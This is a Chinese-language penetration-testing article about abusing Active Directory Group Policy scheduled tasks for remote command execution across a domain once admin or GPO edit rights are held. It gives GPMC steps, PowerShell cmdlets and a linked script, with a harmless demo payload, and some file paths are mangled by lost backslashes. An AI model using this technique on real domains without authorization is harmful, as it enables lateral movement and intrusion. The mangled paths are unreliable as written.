當前位置:
首頁 > 新聞 > 域滲透——利用GPO中的計劃任務實現遠程執行

域滲透——利用GPO中的計劃任務實現遠程執行

0x00 前言

在之前的文章《滲透基礎——Windows下計劃任務的使用》曾介紹過計劃任務的用法。而在域環境中,通過組策略(Group Policy Object)同樣能夠實現計劃任務的遠程執行,本文將要對這個方法進行介紹,分析利用思路。

0x01 簡介

本文將要介紹以下內容:

·GPO中的計劃任務簡介

·通過Group Policy Management Console (GPMC) 實現計劃任務的遠程執行

·通過命令行實現計劃任務的遠程執行

·新建GPO實現遠程執行

·修改已有的GPO,實現遠程執行

·GPO的常用操作

0x02 簡介

值得閱讀的資料:

http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/

https://adsecurity.org/?p=2716

http://www.sicherheitsforschung-magdeburg.de/uploads/journal/MJS_052_Willi_GPO.pdf

GPO全稱Group Policy Objects,用來存儲Active Directory中的策略。

自Windows Server 2008開始,GPO開始支持計劃任務,便於管理域中的計算機和用戶。

默認情況下,域用戶的組策略每90分鐘更新,隨機偏移為0-30分鐘,域控制器的組策略每5分鐘更新。

註:可通過命令實現組策略的強制更新。

默認組策略的保存位置:\SYSVOL\Policies,所有域內主機都能訪問。

註:之前的文章《域滲透-利用SYSVOL還原組策略中保存的密碼》曾介紹過這個文件位置。

默認存在兩個組策略,每個文件夾對應一個組策略:

·對應Default Domain Controllers Policy

·對應Default Domain Policy

如下圖:

0x03 通過Group Policy Management Console (GPMC) 實現計劃任務的遠程執行

在域控制器上,位置: Administrative Tools -> Group Policy Management

如下圖:

選擇域test.local,右鍵,選中第一個,創建GPO,如下圖:

輸入名稱TestGPO1,這會創建一個全局的GPO,作用於所有域用戶。

選擇TestGPO1,右鍵,Edit...

User Configuration -> Preferences -> Control Panel Settings -> Scheduled Tasks

New -> Immediate Task(Windows Vista and later),如下圖:

註:Immediate Task會在每次組策略刷新時執行。

四種計劃任務的區別可參考官方文檔:

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc770904(v%3Dws.11)

註:也可以選擇位置Computer Configuration -> Preferences -> Control Panel Settings -> Scheduled Tasks

接下來,根據提示設置計劃任務即可。

為便於測試,執行的操作為將執行結果輸出到文件,如下圖:

這個組策略對應的ID為,在位置\test.comSYSVOL est.comPolicies\UserPreferencesScheduledTasks下找到文件ScheduledTasks.xml,裡面保存計劃任務的配置信息。

對於域內的主機,可以等待90分鐘使組策略自動更新,也可以在客戶端執行如下命令強制刷新組策略:

gpupdate /force

客戶端默認更新組策略的方式:

讀取域共享目錄中組策略的版本,位置為\Policies\GPT.ini,如果版本高於本地保存的組策略版本,客戶端將會更新本地的組策略。

每次修改組策略,\Policies\GPT.ini中的Version會增加。

0x04 通過命令行實現計劃任務的遠程執行

域控制器系統: Windows Server 2012 R2 x64 域名: test.com

1、創建一個GPO

New-GPO -Name TestGPO1

2、將GPO連到到域test.com

New-GPLink -Name TestGPO1 -Target "dc=test,dc=com"

註:兩條命令可以簡寫為一條命令:

new-gpo -name TestGPO1 | new-gplink -Target "dc=test,dc=com"

通過命令行回顯獲得ID為0bfd3f0c-21a1-4eca-8a5e-1f0bd4dc64dc

3、創建計劃任務

通過Group Policy Management Console (GPMC)創建的計劃任務會自動註冊。

而我目前還沒有找到註冊計劃任務的介面,所以只能尋找一個變通的方法。

好在我最終找到了變通的解決方法,步驟如下:

(1)導出GPO

Backup-Gpo -Name TestGPO1 -Path C: est

(2)創建計劃任務的配置文件ScheduledTasks.xml

路徑為\Policies\DomainSysvolGPOUserPreferencesScheduledTasksScheduledTasks.xml

(3)修改Backup.xml和gpreport.xml

加入計劃任務的配置信息。

(4)還原GPO

Import-GPO -BackupId -TargetName TestGPO1 -Path C: est

完整實現代碼已開源,下載地址如下:

https://github.com/3gstudent/Homework-of-Powershell/blob/master/New-GPOImmediateTask.ps1

註:下篇文章將會詳細介紹原理和腳本實現細節。

腳本命令示例:

腳本自動實現以下操作:

·將TestGPO備份至當前目錄

·修改備份文件夾下的Backup.xml和gpreport.xml

·生成文件ScheduledTasks.xml

·還原TestGPO

4、強制客戶端刷新組策略

Invoke-GPUpdate -Computer "TESTCOMPUTER-01"

註:Windows Server 2008 R2默認不支持該命令,Windows Server 2012支持。

客戶端的防火牆需要允許以下連接:

·Remote Scheduled Tasks Management (RPC)

·Remote Scheduled Tasks Management (RPC-ERMAP)

·Windows Management Instrumentation (WMI-IN)

官方資料:

https://docs.microsoft.com/en-us/powershell/module/grouppolicy/invoke-gpupdate?view=win10-ps

5、刪除GPO

Remove-GPO -Name TestGPO1

註:通過Group Policy Management Console (GPMC)右鍵刪除GPO不會刪除對應的文件夾,Remove-GPO可以。

0x05 利用思路

前提是獲得了域管理員的許可權或者某個組策略的編輯許可權。

通用操作如下:

載入GroupPolicy模塊:

Import-Module GroupPolicy –verbose

獲得所有GPO的內容:

Get-GPO -All

將所有GPO導出為一個HTML報告:

Get-GPOReport -All -ReportType html -Path C:GposReportGposReport.html

將每個GPO單獨導出一個HTML報告:

Get-GPO -All | %{

Get-GPOReport -name $_.displayname -ReportType html -

path ("c:GPOReports"+$_.displayname+".html")

}

查看指定GPO的許可權設置:

Get-GPPermission -Name "TestGPO1" -All

備份指定GPO:

Backup-Gpo -Name TestGPO1 -Path C:GpoBackups

備份所有GPO:

Backup-Gpo -All -Path "c:GpoBackups"

還原指定GPO:

Restore-GPO -Name TestGPO1 -Path C:GpoBackups

還原所有GPO:

Restore-GPO -All -Path "c:GpoBackups"

根據不同情況,有以下兩種利用思路:

1、新建組策略,創建計劃任務實現遠程執行

創建:

New-GPLink -Name TestGPO1 -Target "dc=test,dc=com"

添加計劃任務:

New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO1 -CommandArguments "-c "123 | Out-File C: estdebug.txt"" -Force

強制客戶端刷新組策略:

Invoke-GPUpdate -Computer "TESTCOMPUTER-01"

刪除GPO

Remove-GPO -Name TestGPO1

2、修改已有組策略,創建或者替換計劃任務

創建計劃任務:

創建文件ScheduledTasks.xml

刪除GPO中的計劃任務:

刪除文件ScheduledTasks.xml

0x06 GPO的常用操作

創建OU:

New-ADOrganizationalUnit -Name OUTest1 -Path "dc=test,dc=com"

查看當前域中的所有計算機:

dsquery computer

獲得結果"CN=Computer1,CN=Computers,DC=test,DC=com"

將該計算機加到OU=OUTest1中:

dsmove "CN=Computer1,CN=Computers,DC=test,DC=com" -newparent OU=OUTest1,dc=test,dc=com

查詢OU=OUTest1中的計算機:

dsquery computer OU=OUTest1,dc=test,dc=com

創建GPO並連接:

new-gpo -name TestGPO | new-gplink -Target "OU=OUTest1,dc=test,dc=com"

還原:

將計算機Computer1從OU=OUTest1中移除

dsmove "CN=Computer1,OU=OUTest1,DC=test,DC=com" -newparent CN=Computers,dc=test,dc=com

刪除OU=OUTest1:

set-ADOrganizationalUnit -Identity "OU=OUTest1,dc=test,dc=com" -ProtectedFromAccidentalDeletion $falseRemove-ADOrganizationalUnit -Identity "OU=OUTest1,dc=test,dc=com" -Recursive -Confirm:$False

0x07 小結

本文介紹了利用GPO中的計劃任務實現遠程執行的方法,分析利用思路,通過命令行實現了GPO和計劃任務的創建、修改和刪除。


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

Cisco Webex Meetings桌面應用特權提升漏洞分析
2018年網路安全「金帽子」獎年度評選活動火熱進行中——揭秘豪華評審團

TAG:嘶吼RoarTalk |